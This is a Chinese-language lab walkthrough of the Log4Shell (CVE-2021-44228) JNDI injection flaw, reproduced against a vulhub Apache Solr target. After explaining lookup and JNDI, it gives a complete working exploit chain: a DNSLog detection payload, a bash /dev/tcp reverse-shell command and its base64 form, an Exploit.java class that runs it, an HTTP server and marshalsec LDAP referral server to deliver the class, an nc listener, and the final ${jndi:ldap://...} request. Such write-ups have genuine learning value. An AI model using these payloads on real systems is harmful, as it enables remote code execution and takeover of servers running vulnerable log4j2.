Apache log4j2是一个基于java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,出发远程代码执行漏洞,从而获取目标服务器的权限。
漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1
Apache log4j2—RCE 漏洞是由于Log4j2 提供的lookup功能下的jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的数据进行判断,导致Log4j2 请求远程主机上含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
画个简单点的漏洞利用示意图,如下:
尽可能画的详细一点,大概是下图。
攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。
由于漏洞利用会涉及到JNDI注入相关的知识,这里简要做一个对JNDI的介绍。
开发人员一般会使用log4j2在日志中输出一些变量,log4j2除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用看来查找更多的数据用于输出。lookup在log4j2中就是允许输出日志的时候,通过多种方式去查找要输出的内容,其中就可以使用jndi Lookup。
JNDI(java Nameing and Directory interface,JAVA命名和目录接口):它提供了一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中使用名称来访问对象,JNDI下面有很多目录接口,用于不同的数据源的查找引用。
JNDI可以使用相应目录接口请求普通数据,还可以请求java对象。而且JNDI支持以命名引用(Naming References)的方式去远程下载一个class 文件,然后加载该class文件并构建对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载时执行恶意代码。在这些目录接口中我们可以使用LDAP或RMI去下载远程主机上的class文件。
kali 下安装vulhub 步骤请移步 http://t.csdn.cn/61msL
docker环境搭建好服务启动后,访问http://your-ip:8983
即可查看到Apache Solr的后台页面。
用dnslog平台检测dns回显,看看有没有漏洞存在,网址为:DNSLog Platform
点击Get SubDomin获取一个子域名 wgddy2.dnslog.cn
在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:
http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.wgddy2.dnslog.cn}
DNSLog平台,点击刷新记录Refresh Record,可以看到有数据:在DNS Query Record一栏下面出现了条目,回显了java版本1.8.0_102,说明存在log4j漏洞。
我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到攻击机的7777端口,因此对应的bash命令为:
bash -i >& /dev/tcp/攻击机ip/7777 0>&1
然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)
编码结果为:
bash -c {echo,YmFzaCAtaSB+JiAvZJV2L3RjcC8xMjQuMjIyLjk2LjEzNS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
好的,有了编码结果,我们就可以编写恶意文件了,编写以下代码命名为Exploit.java。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC40OS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下
javac Exploit.java
把编译好的Exploit.class放到攻击机的随便一个目录下,我直接放到桌面。
并在此目录开启http服务,我这里把端口设置为了6666,命令如下:
python3 -m http.server -d /root/vulhub/log4j/CVE-2021-44228 6666
这里-d用来指定临时http服务文件的根目录(访问不到请移步http://t.csdn.cn/SK3Zk)
现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。执行命令如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.73.128:6666/#Exploit" 1389
这里说一下marshalsec-0.0.3-SNAPSHOT-all.jar,下载地址为marshalsec-0.0.3-SNAPSHOT-all.jar
在pom.xml所在目录,需要运行以下命令生成.jar文件(生成成功后位于此目录的target子目录下)
mvn clean package -DskipTests
详细过程可以查看以下链接
下载marshalsec
mvn命令无法执行请移步http://t.csdn.cn/YHmHZ
必须要有Java环境才能执行,然后就会开始监听LDAP的相关服务的相关信息。(这条命令在与上文无关的第三台计算机执行,因此我这里后面的payload相关的LDAP服务的IP地址写了这第三台计算机的IP地址)
接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:
nc -lvvp 7777
最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:
${jndi:ldap://192.168.73.136:1389/Exploit}
完整的payload
http://192.168.73.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.73.136:1389/Exploit}
攻击机开启的HTTP服务的终端显示如下:
可以看到最后两条日志信息,靶机已经通过GET方法请求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:
关闭靶场
docker-compose down